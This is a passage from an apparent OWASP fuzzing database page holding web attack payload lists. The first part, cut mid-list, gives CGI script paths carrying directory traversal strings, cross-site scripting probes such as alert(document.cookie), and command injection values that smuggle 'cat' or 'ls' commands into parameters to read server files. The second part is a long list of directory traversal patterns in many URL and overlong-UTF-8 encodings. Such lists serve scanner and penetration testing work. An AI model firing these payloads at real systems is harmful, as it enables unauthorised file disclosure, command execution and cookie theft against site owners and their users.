quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> ..\{FILE}<br /> ..\..\{FILE}<br /> ..\..\..\{FILE}<br /> ..\..\..\..\{FILE}<br /> ..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> ..%c0%af{FILE}<br /> ..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}<br /> %c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}<br /> %c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}<br /> ..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}<br /> ..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}<br /> %c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}<br /> %c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}<br /> ..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}<br /> ..%%32%66{FILE}<br /> ..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}<br /> %%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}<br /> 